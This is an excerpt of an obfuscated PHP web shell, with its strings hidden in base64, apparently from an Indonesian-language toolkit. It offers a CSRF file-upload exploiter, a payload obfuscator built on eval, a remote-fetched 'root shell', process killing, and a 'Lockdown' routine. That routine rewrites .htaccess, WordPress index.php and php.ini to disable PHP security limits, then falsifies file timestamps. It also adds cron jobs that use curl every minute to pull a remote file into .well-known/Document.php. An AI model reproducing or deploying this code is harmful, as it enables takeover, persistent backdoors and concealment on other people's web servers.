wb('Cjxocj48YnI+PGNlbnRlcj48aDIgc3R5bGU9ImZvbnQtc2l6ZTozM3B4OyI+Q1NSRiBFeHBsb2l0ZXIgWTwvaDI+PGJyPjxicj4KPGZvbnQgc2l6ZT0iMyI+Kk5vdGUgOiBQb3N0IEZpbGUsIFR5cGUgOiBGaWxlZGF0YSAvIGR6dXBsb2FkIC8gZHpmaWxlIC8gZHpmaWxlcyAvIGZpbGUgLyBhamF4ZnVwIC8gZmlsZXNbXSAvIHFxZmlsZSAvIHVzZXJmaWxlIC8gZXRjPC9mb250Pgo8YnI+PGJyPgo8Zm9ybSBtZXRob2Q9IlBPU1QiIHN0eWxlPSJmb250LXNpemU6MjVweDsiIGFjdGlvbj0gIiI+ClVSTDogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InVybCIgc2l6ZT0iNTAiIGhlaWdodD0iMTAiIHBsYWNlaG9sZGVyPSJodHRwOi8vd3d3LnRhcmdldC5jb20vcGF0aC91cGxvYWQucGhwIiBzdHlsZT0ibWFyZ2luOiA1cHggYXV0bzsgcGFkZGluZy1sZWZ0OiA1cHg7IHdpZHRoOjQ1MHB4OyIgY2xhc3MgPSAiZm9ybS1jb250cm9sIiByZXF1aXJlZCBhdXRvY29tcGxldGUgPSAib2ZmIj48YnI+ClBPU1QgRmlsZTogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InBmIiBzaXplPSI1MCIgaGVpZ2h0PSIxMCIgcGxhY2Vob2xkZXI9IkxpaGF0IGRpYXRhcyBeIiBzdHlsZT0ibWFyZ2luOiA1cHggYXV0bzsgcGFkZGluZy1sZWZ0OiA1cHg7IHdpZHRoOjI1MHB4OyIgcmVxdWlyZWQgY2xhc3MgPSAiZm9ybS1jb250cm9sIiBhdXRvY29tcGxldGUgPSAib2ZmIj48YnI+CjxpbnB1dCBzdHlsZT0id2lkdGg6MzUwcHg7IiB0eXBlPSJzdWJtaXQiIG5hbWU9ImQiIHZhbHVlPSJMb2NrISIgY2xhc3MgPSAiZm9ybS1jb250cm9sIj4KPC9mb3JtPjxicj48YnI+'); $url = $_POST[wb('dXJs')]; $pf = $_POST[wb('cGY=')]; $d = $_POST[wb('ZA==')]; if ($d) { echo "\xa	<h2>Upload Your Files</h2>\xa\x9<form method='post' target='_blank' action='{$url}' enctype='multipart/form-data'><input type='file' name='{$pf}'><input type='submit' name='g' value='Upload'></form>"; } } elseif (isset($_GET[hex(wb('YXV0b190b29scw=='))])) { AutomenU($d); } elseif (isset($_GET[hex(wb('RU5D'))])) { AutomenU($d); function xcode($string) { $result = ''; for ($index = 0; $index < strlen($string); $index += 1) { $result .= chr(ord($string[$index]) + 1); } return $result; } if (isset($_POST[wb('ZW5jcnlwdA==')])) { $encrypt = $_POST[wb('ZW5jcnlwdA==')]; } else { $encrypt = wb('ZWNobyAiUnViYWggSW5pISI7'); $encrypt = @htmlentities($encrypt); } echo wb('CTxicj48YnI+CgkJCQk8aDI+IFggRW5jcnlwdGlvbiA8c3VwPk5vIFBIUCBPcGVuPC9zdXA+PC9oMj48Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4KCQkJCQk8dGV4dGFyZWEgY2xhc3M9ICJmb3JtLWNvbnRyb2wgcm91bmRlZC0wIiBzdHlsZT0ibWluLXdpZHRoOiA5NiU7IGhlaWdodDogMjAwcHg7IiBuYW1lPSJlbmNyeXB0Ij4=') . $encrypt . wb('PC90ZXh0YXJlYT48YnI+CgkJCQkJPGlucHV0IGNsYXNzID0gImZvcm0tY29udHJvbCByb3VuZGVkLTAiIHR5cGU9InN1Ym1pdCIgbmFtZT0iY3J5cHQiIHN0eWxlPSJ3aWR0aDogMjUwcHg7bWFyZ2luOiAwIGF1dG87ICIgdmFsdWU9IkNyeXB0IGl0ISI+CgkJCQk8L2Zvcm0+PGJyPg=='); if (isset($_POST[wb('Y3J5cHQ=')]) && isset($_POST[wb('ZW5jcnlwdA==')])) { $isi = $_POST[wb('ZW5jcnlwdA==')]; $isi2 = xcode($isi); $isi3 = gzdeflate($isi2, 9); $isi4 = b64ed($isi3); $isifinalphp72 = wb('ZnVuY3Rpb24geG5vY29kZSgkeHN0cmluZykgeyAkeHJlc3VsdCA9ICcnOyBmb3IgKCR4bmRleCA9IDA7JHhuZGV4IDwgc3RybGVuKCR4c3RyaW5nKTskeG5kZXggKz0gMSkgJHhyZXN1bHQgLj0gY2hyKG9yZCgkeHN0cmluZ1skeG5kZXhdKSAtIDEpOyByZXR1cm4gJHhyZXN1bHQ7IH0gJHhjb2Rlb2sgPSB4bm9jb2RlKGd6aW5mbGF0ZShiYXNlNjRfZGVjb2RlKCc=') . $isi4 . wb('JykpKTsgY2FsbF91c2VyX2Z1bmMoY3JlYXRlX2Z1bmN0aW9uKCcnLCAkeGNvZGVvaykpOw=='); $isifinalphp74 = wb('ZnVuY3Rpb24geG5vY29kZSgkeHN0cmluZykgeyAkeHJlc3VsdCA9ICcnOyBmb3IgKCR4bmRleCA9IDA7JHhuZGV4IDwgc3RybGVuKCR4c3RyaW5nKTskeG5kZXggKz0gMSkgJHhyZXN1bHQgLj0gY2hyKG9yZCgkeHN0cmluZ1skeG5kZXhdKSAtIDEpOyByZXR1cm4gJHhyZXN1bHQ7IH0gJHhjb2Rlb2sgPSB4bm9jb2RlKGd6aW5mbGF0ZShiYXNlNjRfZGVjb2RlKCc=') . $isi4 . wb('JykpKTsgZXZhbChjcmVhdGVfZnVuY3Rpb24oJycsICR4Y29kZW9rKSk7'); echo wb('Cgo='); echo wb('PGRpdiBjbGFzcz0nZm9ybS1ncm91cCc+PGNlbnRlcj48bGFiZWwgZm9yPSdleGFtcGxlRm9ybUNvbnRyb2xUZXh0YXJlYTEnPkhhc2lsIEVuY3J5cHQgUEhQIDw9IDcuMiBPbmx5PC9sYWJlbD48L2NlbnRlcj48dGV4dGFyZWEgcmVhZG9ubHkgY2xhc3M9J2Zvcm0tY29udHJvbCByb3VuZGVkLTAnIHJvd3M9JzUnPg==') . $isifinalphp72 . wb('PC90ZXh0YXJlYT48L2Rpdj4='); echo wb('PGRpdiBjbGFzcz0nZm9ybS1ncm91cCc+PGNlbnRlcj48bGFiZWwgZm9yPSdleGFtcGxlRm9ybUNvbnRyb2xUZXh0YXJlYTEnPkhhc2lsIEVuY3J5cHQgUEhQID49IDcuNCBPbmx5PC9sYWJlbD48L2NlbnRlcj48dGV4dGFyZWEgcmVhZG9ubHkgY2xhc3M9J2Zvcm0tY29udHJvbCByb3VuZGVkLTAnIHJvd3M9JzUnPg==') . $isifinalphp74 . wb('PC90ZXh0YXJlYT48L2Rpdj4='); } } elseif (isset($_GET[hex(wb('cjAwdA=='))])) { $bash3ll = fgt(decno(wb('eDhHc3ZiU1NlSHpNZTZ1NXNNeXF2STJ3cDdwd3hiaXgxTG1kd0hDNnFzREhlNnpGdFE9PQ=='))); $r00tsh3ll = $GNJ[39](b64dd($bash3ll)); echo $r00tsh3ll; } elseif (isset($_GET[hex(wb('cHJvY2Vzc3g='))])) { if (isset($_GET[wb('cGlk')])) { $s_p = $_GET[wb('cGlk')]; if (function_exists(wb('cG9zaXhfa2lsbA=='))) { $s_buff = posix_kill($s_p, wb('OQ==')) ? wb('UHJvY2VzcyB3aXRoIHBpZCA=') . $s_p . wb('IGhhcyBiZWVuIHN1Y2Nlc3NmdWxseSBraWxsZWQ=') : wb('VW5hYmxlIHRvIGtpbGwgcHJvY2VzcyB3aXRoIHBpZCA=') . $s_p; } else { if (!$s_win) { $s_buff = exe(wb('a2lsbCAtOSA=') . $s_p); } else { $s_buff = exe(wb('dGFza2tpbGwgL0YgL1BJRCA=') . $s_p); } } } if (!$s_win) { $s_h = wb('cHMgYXV4'); } else { $s_h = wb('dGFza2xpc3QgL1YgL0ZPIGNzdg=='); } $s_wcount = 11; $s_wexplode = wb('IA=='); if ($s_win) { $s_wexplode = wb('Iiwi'); } $s_res = exe($s_h); if (trim($s_res) == '') { echo wb('PGgyPjxoMiBjbGFzcz0nbm90aWYnPkVycm9yIGdldHRpbmcgcHJvY2VzcyBsaXN0PC9oMj48L2NlbnRlcj4='); } else { if (isset($s_buff)) { echo wb('PHAgY2xhc3M9J25vdGlmJz4=') . $s_buff . wb('PC9wPg=='); } echo wb('PGRpdiBjbGFzcz0ndGFibGUtcmVzcG9uc2l2ZSc+PHRhYmxlIGNsYXNzID0gJ3RhYmxlLXNtIHRhYmxlLWRhcmsgdGFibGUtc3RyaXBlZCB0YWJsZS1ib3JkZXJlZCBtdC0zIGhvdmVyVGFibGUnPjx0aGVhZD4='); if (!$s_win) { $s_res = preg_replace(wb('I1wgKyM='), wb('IA=='), $s_res); } $s_psarr = explode(wb('Cg=='), $s_res); $s_fi = true; $s_tblcount = 0; $s_check = explode($s_wexplode, $s_psarr[0]); $s_wcount = count($s_check); foreach ($s_psarr as $s_psa) { if (trim($s_psa) != '') { if ($s_fi) { $s_fi = false; $s_psln = explode($s_wexplode, $s_psa, $s_wcount); echo wb('PHRyPjx0aCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz5BQ1RJT048L3RoPg=='); foreach ($s_psln as $s_p) { echo wb('PHRoIHNjb3BlPSdyb3cnIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPg==') . trim(trim(strtoupper($s_p)), wb('Ig==')) . wb('PC90aD4='); } echo wb('PC90cj48L3RoZWFkPjx0Ym9keT4='); } else { $s_psln = explode($s_wexplode, $s_psa, $s_wcount); echo wb('PHRyPg=='); $s_tblcount = 0; foreach ($s_psln as $s_p) { if (trim($s_p) == '') { $s_p = wb('Lg=='); } if ($s_tblcount == 0) { echo wb('PHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPjxhIGNsYXNzPSdmb3JtLWNvbnRyb2wgYWp4JyBocmVmPSc/ZD0=') . hex($d) . wb('Jg==') . hex(wb('cHJvY2Vzc3g=')) . wb('JnBpZD0=') . trim(trim($s_psln[1]), wb('Ig==')) . wb('Jz5LaWxsPC9hPjwvdGQ+CiAJPHRkPg==') . trim(trim($s_p), wb('Ig==')) . wb('PC90ZD4='); $s_tblcount++; } else { $s_tblcount++; if ($s_tblcount == count($s_psln)) { echo wb('PHRkPg==') . trim(trim($s_p), wb('Ig==')) . wb('PC90ZD4='); } else { echo wb('PHRkPg==') . trim(trim($s_p), wb('Ig==')) . wb('PC90ZD4='); } } } echo wb('PC90cj4='); } } } echo wb('PC90Ym9keT48L3RhYmxlPjwvZGl2Pg=='); } } elseif (isset($_GET[hex(wb('TG9ja2Rvd24='))])) { AutomenU($d); if (isset($direktori)) { $direktori = $_POST[wb('ZGlyZWt0b3JpeA==')]; } else { $direktori = $_SERVER[wb('RE9DVU1FTlRfUk9PVA==')]; } echo wb('PGNlbnRlcj48aHI+PGJyPjxoMj5Mb2NrZG93biBZPC9oMj48YnI+'); $htaccess = $direktori . wb('Ly5odGFjY2Vzcw=='); if ($GNJ[26]($htaccess)) { echo wb('PGEgY2xhc3M9ImJ0biBidG4tc3VjY2VzcyBidG4tc20gYWp4ICIgaHJlZj0iP2Q9') . hex($d) . wb('Jg==') . hex(wb('TG9ja2Rvd24=')) . wb('Ij46OiBDaGVjayBMb2NrIDo6PC9hPg=='); $htaccess_content = fgt($htaccess); echo wb('PHRleHRhcmVhIHJlYWRvbmx5Pg==') . $GNJ[15]($htaccess_content) . wb('PC90ZXh0YXJlYT4='); } echo wb('PGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+PHA+UGxlYXNlIG5vIC8gYXQgdGhlIGVuZDwvcD48aW5wdXQgY2xhc3M9ImZvcm0tY29udHJvbCIgdHlwZT0idGV4dCIgbmFtZT0iZGlyZWt0b3JpIiB2YWx1ZT0i') . $direktori . wb('IiBzdHlsZT0id2lkdGg6IDQ1MHB4OyIgaGVpZ2h0PSIxMCI+PGJyPgkJPHU+SmVuaXMgOjwvdT48c2VsZWN0IG5hbWU9ImplbmlzbG9jayIgY2xhc3M9ImZvcm0tY29udHJvbCIgc3R5bGU9IndpZHRoOiAyNTBweDsgaGVpZ2h0OiA0MHB4OyI+CQkJPG9wdGlvbiB2YWx1ZT0id3Aic2VsZWN0ZWQ9InNlbGVjdGVkIj5Mb2NrZG93biBXb3JkcHJlc3M8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJzaWduYXR1cmUiPkxvY2tkb3duIFNpZ25hdHVyZTwvb3B0aW9uPjwvc2VsZWN0Pjxicj48aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iZm9ybS1jb250cm9sIiBzdHlsZT0id2lkdGg6IDI1MHB4OyBoZWlnaHQ6IDQwcHg7IiB2YWx1ZT0iTG9jayBOb3cgISIgbmFtZT0iTG9ja05vdyIgLz48L2Zvcm0+PC9jZW50ZXI+PGJyPjxicj48c3BhbiBzdHlsZT0iY29sb3I6cmVkIj4='); if (isset($_POST[wb('TG9ja05vdw==')])) { $kunci = $_POST[wb('amVuaXNsb2Nr')]; if ($GNJ[22]($direktori, -1) == wb('Lw==')) { $direktori = $GNJ[22]($direktori, 0, -1); } $phpini = $direktori . wb('L3BocC5pbmk='); $indexwp = $direktori . wb('L2luZGV4LnBocA=='); switch ($kunci) { case wb('d3A='): $lockhtaccess = implode(wb('fA=='), $enx0); break; case wb('c2lnbmF0dXJl'): $lockhtaccess = implode(wb('fA=='), $enx1); break; default: $lockhtaccess = implode(wb('fA=='), $enx1); break; } if ($kunci === wb('d3A=')) { $indexphp = wb('UEQ5d2FIQUtMeW9xQ2lBcUlFWnliMjUwSUhSdklIUm9aU0JYYjNKa1VISmxjM01nWVhCd2JHbGpZWFJwYjI0dUlGUm9hWE1nWm1sc1pTQmtiMlZ6YmlkMElHUnZJR0Z1ZVhSb2FXNW5MQ0JpZFhRZ2JHOWhaSE1LSUNvZ2QzQXRZbXh2Wnkxb1pXRmtaWEl1Y0dod0lIZG9hV05vSUdSdlpYTWdZVzVrSUhSbGJHeHpJRmR2Y21SUWNtVnpjeUIwYnlCc2IyRmtJSFJvWlNCMGFHVnRaUzRLSUNvS0lDb2dRSEJoWTJ0aFoyVWdWMjl5WkZCeVpYTnpDaUFxTHdvS0x5b3FDaUFxSUZSbGJHeHpJRmR2Y21SUWNtVnpjeUIwYnlCc2IyRmtJSFJvWlNCWGIzSmtVSEpsYzNNZ2RHaGxiV1VnWVc1a0lHOTFkSEIxZENCcGRDNEtJQ29LSUNvZ1FIWmhjaUJpYjI5c0NpQXFMd3BrWldacGJtVW9JQ2RYVUY5VlUwVmZWRWhGVFVWVEp5d2dkSEoxWlNBcE93b0tMeW9xSUV4dllXUnpJSFJvWlNCWGIzSmtVSEpsYzNNZ1JXNTJhWEp2Ym0xbGJuUWdZVzVrSUZSbGJYQnNZWFJsSUNvdkNuSmxjWFZwY21VZ1gxOUVTVkpmWHlBdUlDY3ZkM0F0WW14dlp5MW9aV0ZrWlhJdWNHaHdKenM9'); $indexphp = b64dd($indexphp); if ($GNJ[26]($indexwp)) { $indexphp_content = fgt($indexwp); if ($indexphp == $indexphp_content) { echo wb('aW5kZXgucGhwIHNhbWEgLi48YnI+'); echo wb('Q2htb2QgNDQ0IGluZGV4LnBocDxicj4='); @$GNJ[12]($indexwp, 292); } else { echo wb('Q2htb2QgNzc3IGluZGV4LnBocDxicj4='); $GNJ[12]($indexwp, 511); echo wb('SGFwdXMgaW5kZXgucGhwPGJyPg=='); @$GNJ[10]($indexwp); echo wb('VGFtYmFoa2FuIGluZGV4LnBocCBiYXJ1PGJyPg=='); @file_put_contents($indexwp, $indexphp); echo wb('Q2htb2QgNDQ0IGluZGV4LnBocDxicj4='); @$GNJ[12]($indexwp, 292); echo wb('UmFuZG9taXplIGluZGV4LnBocCBkYXRlPGJyPg=='); @$GNJ[25]($indexwp, $waktu); } } if ($GNJ[26]($htaccess)) { echo wb('Q2htb2QgNzc3IGh0YWNjZXNzPGJyPg=='); @$GNJ[12]($htaccess, 511); echo wb('ZGVsZXRpbmcgaHRhY2Nlc3M8YnI+'); @$GNJ[10]($htaccess); } echo wb('TWVuYW1iYWggaHRhY2Nlc3MgYmFydTxicj4='); $src1 = b64dd(wb('VDNCMGFXOXVjeUF0U1c1a1pYaGxjd284Um1sc1pYTk5ZWFJqYUNBaUxpcGNMaWh3ZVh4emFIUnRiSHh3YUhSdGJIeHdhSEI4VUVoUWZGQm9jSHhRU0hCOGNFaHdmSEJJVUh4d2FGQjhVR2hRZkhCb2NEVjhjR2h3Tnlra0lqNEtUM0prWlhJZ1FXeHNiM2NzUkdWdWVRcEVaVzU1SUdaeWIyMGdZV3hzQ2p3dlJtbHNaWE5OWVhSamFENEtQRVpwYkdWelRXRjBZMmdnSjE0bw==')); $src2 = $lockhtaccess; $src3 = b64dd(wb('S1NRblBncFBjbVJsY2lCaGJHeHZkeXhrWlc1NUNrRnNiRzkzSUdaeWIyMGdZV3hzQ2p3dlJtbHNaWE5OWVhSamFENEtJeUJDUlVkSlRnbzhTV1pOYjJSMWJHVWdiVzlrWDNKbGQzSnBkR1V1WXo0S1VtVjNjbWwwWlVWdVoybHVaU0JQYmdwU1pYZHlhWFJsUW1GelpTQXZDbEpsZDNKcGRHVlNkV3hsSUY1cGJtUmxlQzV3YUhBa0lDMGdXMHhkQ2xKbGQzSnBkR1ZEYjI1a0lDVjdVa1ZSVlVWVFZGOUdTVXhGVGtGTlJYMGdJUzFtQ2xKbGQzSnBkR1ZEYjI1a0lDVjdVa1ZSVlVWVFZGOUdTVXhGVGtGTlJYMGdJUzFrQ2xKbGQzSnBkR1ZTZFd4bElDNGdhVzVrWlhndWNHaHdJRnRNWFFvOEwwbG1UVzlrZFd4bFBnb2pJRVZPUkE9PQ==')); @file_put_contents($htaccess, $src1); @file_put_contents($htaccess, $src2, FILE_APPEND | LOCK_EX); @file_put_contents($htaccess, $src3, FILE_APPEND | LOCK_EX); $contentxx1 = wb('UVdSa1ZIbHdaU0JoY0hCc2FXTmhkR2x2Ymk5NExXaDBkSEJrTFhCb2NDQXVjR1Jt'); $contentxx = b64dd($contentxx1); @file_put_contents($htaccessx, $contentxx); file_put_contents($phpini, b64dd(wb('YzJGbVpWOXRiMlJsSUQwZ1QyWm1DbVJwYzJGaWJHVmZablZ1WTNScGIyNXpJRDBnVGs5T1JRcHpZV1psWDIxdlpHVmZaMmxrSUQwZ1QwWkdDbTl3Wlc1ZlltRnpaV1JwY2lBOUlFOUdSZ3BsZUdWaklEMGdUMDRnQ25Ob1pXeHNYMlY0WldNZ1BTQlBUZz09'))); echo wb('SW5qZWN0IFBIUC5pbmkgYnlwYXNzPGJyPg=='); echo wb('Q2htb2QgNDQ0IGh0YWNjZXNzPGJyPg=='); @$GNJ[12]($htaccess, 292); echo wb('Q2htb2QgNDQ0IGZpbGUgaW5pPGJyPg=='); @$GNJ[12]($this_file, 292); echo wb('UmFuZG9tIHdha3R1IGh0YWNjZXNzPGJyPg=='); @$GNJ[25]($htaccess, $waktu); echo wb('UmFuZG9tIHdha3R1IGZpbGUgaW5pPGJyPg=='); @$GNJ[25]($this_file, $waktu); echo wb('QWxsIGRvbmUh'); } else { if ($GNJ[26]($htaccess)) { echo wb('Q2htb2QgNzc3IGh0YWNjZXNzPGJyPg=='); @$GNJ[12]($htaccess, 511); echo wb('ZGVsZXRpbmcgaHRhY2Nlc3M8YnI+'); @$GNJ[10]($htaccess); } echo wb('TWVuYW1iYWggaHRhY2Nlc3MgYmFydTxicj4='); $src1 = b64dd(wb('VDNCMGFXOXVjeUF0U1c1a1pYaGxjd284Um1sc1pYTk5ZWFJqYUNBaUxpcGNMaWh3ZVh4emFIUnRiSHh3YUhSdGJIeHdhSEI4VUVoUWZGQm9jSHhRU0hCOGNFaHdmSEJJVUh4d2FGQjhVR2hRZkhCb2NEVjhjR2h3Tnlra0lqNEtUM0prWlhJZ1FXeHNiM2NzUkdWdWVRcEVaVzU1SUdaeWIyMGdZV3hzQ2p3dlJtbHNaWE5OWVhSamFENEtQRVpwYkdWelRXRjBZMmdnSjE0bw==')); $src2 = $lockhtaccess; $src3 = b64dd(wb('S1NRblBncFBjbVJsY2lCaGJHeHZkeXhrWlc1NUNrRnNiRzkzSUdaeWIyMGdZV3hzQ2p3dlJtbHNaWE5OWVhSamFENEtJeUJDUlVkSlRnbzhTV1pOYjJSMWJHVWdiVzlrWDNKbGQzSnBkR1V1WXo0S1VtVjNjbWwwWlVWdVoybHVaU0JQYmdwU1pYZHlhWFJsUW1GelpTQXZDbEpsZDNKcGRHVlNkV3hsSUY1cGJtUmxlQzV3YUhBa0lDMGdXMHhkQ2xKbGQzSnBkR1ZEYjI1a0lDVjdVa1ZSVlVWVFZGOUdTVXhGVGtGTlJYMGdJUzFtQ2xKbGQzSnBkR1ZEYjI1a0lDVjdVa1ZSVlVWVFZGOUdTVXhGVGtGTlJYMGdJUzFrQ2xKbGQzSnBkR1ZTZFd4bElDNGdhVzVrWlhndWNHaHdJRnRNWFFvOEwwbG1UVzlrZFd4bFBnb2pJRVZPUkE9PQ==')); @file_put_contents($htaccess, $src1); @file_put_contents($htaccess, $src2, FILE_APPEND | LOCK_EX); @file_put_contents($htaccess, $src3, FILE_APPEND | LOCK_EX); $contentxx1 = wb('UVdSa1ZIbHdaU0JoY0hCc2FXTmhkR2x2Ymk5NExXaDBkSEJrTFhCb2NDQXVjR1Jt'); $contentxx = b64dd($contentxx1); @file_put_contents($htaccessx, $contentxx); @file_put_contents($phpini, b64dd(wb('YzJGbVpWOXRiMlJsSUQwZ1QyWm1DbVJwYzJGaWJHVmZablZ1WTNScGIyNXpJRDBnVGs5T1JRcHpZV1psWDIxdlpHVmZaMmxrSUQwZ1QwWkdDbTl3Wlc1ZlltRnpaV1JwY2lBOUlFOUdSZ3BsZUdWaklEMGdUMDRnQ25Ob1pXeHNYMlY0WldNZ1BTQlBUZz09'))); echo wb('SW5qZWN0IFBIUC5pbmkgYnlwYXNzPGJyPg=='); echo wb('Q2htb2QgNDQ0IGh0YWNjZXNzPGJyPg=='); @$GNJ[12]($htaccess, 292); echo wb('Q2htb2QgNDQ0IGZpbGUgaW5pPGJyPg=='); @$GNJ[12]($this_file, 292); echo wb('UmFuZG9tIHdha3R1IGh0YWNjZXNzPGJyPg=='); @$GNJ[25]($htaccess, $waktu); echo wb('UmFuZG9tIHdha3R1IGZpbGUgaW5pPGJyPg=='); @$GNJ[25]($this_file, $waktu); echo wb('QWxsIGRvbmUh'); } } echo wb('PC9zcGFuPg=='); } elseif (isset($_GET[hex(wb('Y2hlY2tzZW8='))])) { $hckrtgt = wb('aHR0cHM6Ly9hcGkuaGFja2VydGFyZ2V0LmNvbS9yZXZlcnNlaXBsb29rdXAvP3E9') . $_SERVER[wb('U0VSVkVSX0FERFI=')]; $apiIP = wb('aHR0cDovL2lwLWFwaS5jb20vcGhwLw=='); echo wb('PGhyPjxicj4='); echo wb('PGNlbnRlcj48aDI+U0VPIENoZWNrIA==') . $_SERVER[wb('U0VSVkVSX0FERFI=')] . wb('PC9oMj48L2NlbnRlcj48YnI+'); echo wb('PGNlbnRlcj48aDQ+PGEgaHJlZj0iaHR0cHM6Ly9zZWN1cml0eXRyYWlscy5jb20vbGlzdC9pcC8=') . @$_SERVER[wb('U0VSVkVSX0FERFI=')] . wb('IiB0YXJnZXQ9Il9ibGFuayI+WyBzZWN1cml0eXRyYWlscyBdPC9hPiA8YSBocmVmPSJodHRwczovL3d3dy52aXJ1c3RvdGFsLmNvbS9ndWkvaXAtYWRkcmVzcy8=') . $_SERVER[wb('U0VSVkVSX0FERFI=')] . wb('IiB0YXJnZXQ9Il9ibGFuayI+WyB2aXJ1c3RvdGFsIF08L2E+IDxhIGhyZWY9Imh0dHBzOi8vcHVibGljd3d3LmNvbS93ZWJzaXRlcy9pcCUzQQ==') . $_SERVER[wb('U0VSVkVSX0FERFI=')] . wb('LyIgdGFyZ2V0PSJfYmxhbmsiPlsgcHVibGljd3d3IF08L2E+PGJyPjwvaDQ+PC9jZW50ZXI+'); echo wb('PGJyPjxpZnJhbWUgaWQ9J2NvbnRlbnQnIG5hbWU9J2NvbnRlbnQnIHN0eWxlPSd3aWR0aDogMTAwJTsgaGVpZ2h0OiA5MDBweDsgb3ZlcmZsb3cteDogaGlkZGVuOyBvdmVyZmxvdy15OiBzY3JvbGw7JyBzcmM9J2h0dHBzOi8vd3d3Lmdvb2dsZS5jb20vc2VhcmNoP2lndT0xJmVpPSZxPXNpdGUlM0E=') . $_SERVER[wb('SFRUUF9IT1NU')] . wb('Jz48cD5Zb3VyIGJyb3dzZXIgZG9lcyBub3Qgc3VwcG9ydCBpZnJhbWVzLjwvcD48L2lmcmFtZT4='); echo wb('PGgzPlRoaXMgc2VydmVyIGhhcyBkb21haW4ocykgbmFtZSBpbiBsYXN0IDIgd2Vla3M6PC9oMz4='); print_r(fgt($hckrtgt)); echo wb('PGJyPjxoMz5XaXRoIElQIEluZm88L2gzPg=='); print_r(fgt($apiIP)); } elseif (isset($_GET[hex(wb('Y3JvbnRhYg=='))])) { AutomenU($d); echo wb('PGhyPjxicj48Y2VudGVyPjxoMj5Dcm9uam9iPC9oMj48L2NlbnRlcj4='); echo "Cronjob: {$crontab} | "; if (function_exists(wb('ZXhlYw=='))) { echo wb('RVhFQzogT04='); } else { echo wb('RVhFQzogT0ZG'); } if (function_exists(wb('ZXhlYw=='))) { echo wb('PGJyPjxicj48Y2VudGVyPgoJCQkJCTxmb3JtIG1ldGhvZD0ncG9zdCc+CTxpbnB1dCAgY2xhc3MgPSAnYnRuIGJ0bi1zdWNjZXNzIGZvcm0tY29udHJvbCBjb2wtbWQtNCcgc3R5bGU9J3dpZHRoOjI1MHB4OyBoZWlnaHQ6NDBweDsgJ3R5cGU9J3N1Ym1pdCcgbmFtZT0nbGlzdCcgdmFsdWU9J0xpc3QnPgoJCQkJCTxpbnB1dCAgY2xhc3MgPSAnYnRuIGJ0bi13YXJuaW5nIGZvcm0tY29udHJvbCBjb2wtbWQtNCcgc3R5bGU9J3dpZHRoOjI1MHB4OyBoZWlnaHQ6NDBweDsgJ3R5cGU9J3N1Ym1pdCcgbmFtZT0nZ28nIHZhbHVlPSdQYXNhbmchJz4KCQkJCQk8aW5wdXQgIGNsYXNzID0gJ2J0biBidG4tZGFuZ2VyIGZvcm0tY29udHJvbCBjb2wtbWQtNCcgc3R5bGU9J3dpZHRoOjI1MHB4OyBoZWlnaHQ6NDBweDsgJ3R5cGU9J3N1Ym1pdCcgbmFtZT0naGFwdXMnIHZhbHVlPSdIYXB1cyEnPgoJCQkJCTxpbnB1dCAgY2xhc3MgPSAnYnRuIGJ0bi1pbmZvIGZvcm0tY29udHJvbCBjb2wtbWQtNCcgc3R5bGU9J3dpZHRoOjI1MHB4OyBoZWlnaHQ6NDBweDsgJ3R5cGU9J3N1Ym1pdCcgbmFtZT0naGFwdXNzZW11YScgdmFsdWU9J0hhcHVzIFNlbXVhISc+CTwvZm9ybT48YnI+PGJyPjwvY2VudGVyPg=='); if (isset($_POST[wb('bGlzdA==')])) { $output = null; exec(wb('Y3JvbnRhYiAtbA=='), $output); echo wb('PG9sPg=='); foreach ($output as $key) { echo wb('PGxpPg==') . $key . wb('PC9saT4='); } echo wb('PGxpPj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT08L2xpPjwvb2w+'); clearstatcache(); } if (isset($_POST[wb('Z28=')])) { if (!$GNJ[8]($_SERVER[wb('RE9DVU1FTlRfUk9PVA==')] . wb('Ly53ZWxsLWtub3duLw=='))) { $GNJ[11]($_SERVER[wb('RE9DVU1FTlRfUk9PVA==')] . wb('Ly53ZWxsLWtub3duLw=='), 493, true); } exec(wb('KGNyb250YWIgLWwgMj4vZGV2L251bGw7IGVjaG8gIiogKiAqICogKiBjdXJsIC1mc0xrIA==') . decno(wb('eDhHc3ZiU1NlSHpNZTZ1NXNNeXF2STJ3cDdwd3hMaTB6bnVvdTZnPQ==')) . wb('ID4g') . $_SERVER[wb('RE9DVU1FTlRfUk9PVA==')] . wb('Ly53ZWxsLWtub3duL0RvY3VtZW50LnBocCIpIHwgY3JvbnRhYiAt')); exec(wb('KGNyb250YWIgLWwgMj4vZGV2L251bGw7IGVjaG8gIjUgKiAqICogKiBjdXJsIC1mc0xrIC9kZXYvbnVsbCAn') . decno(wb('eDhHc3ZiU1NlSHpQd3F1MWI4dTF2Tk91cDN1a3g3Wjg=')) . $_SERVER[wb('SFRUUF9IT1NU')] . wb('JnBpbmc9JyIpIHwgY3JvbnRhYiAt')); echo wb('PGJyPkxpbms6IDxhIGhyZWY9Jy8v') . $_SERVER[wb('SFRUUF9IT1NU')] . wb('Ly53ZWxsLWtub3duL0RvY3VtZW50LnBocCcgdGFyZ2V0PSdfYmxhbmsnPg==') . $_SERVER[wb('SFRUUF9IT1NU')] . wb('Ly53ZWxsLWtub3duL0RvY3VtZW50LnBocDwvYT4gZGVmZW5zZSB0aWFwIG1lbml0ISA8YnI+'); echo wb('RG9uZSE='); $output = null; exec(wb('Y3JvbnRhYiAtbA=='), $output); echo wb('PG9sPg=='); foreach ($output as $key) { echo wb('PGxpPg==') . $key . wb('PC9saT4='); } echo wb('PGxpPj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT08L2xpPjwvb2w+'); } if (isset($_POST[wb('aGFwdXM=')])) { exec(wb('KGNyb250YWIgLWwgMj4vZGV2L251bGwgfCBncmVwIC12ICJjdXJsIC1mc0xrIA==') . decno(wb('eDhHc3ZiU1NlSHpNZTZ1NXNNeXF2STJ3cDdwd3hMaTB6bnVvdTZnPQ==')) . wb('ID4g') . $_SERVER[wb('RE9DVU1FTlRfUk9PVA==')] . 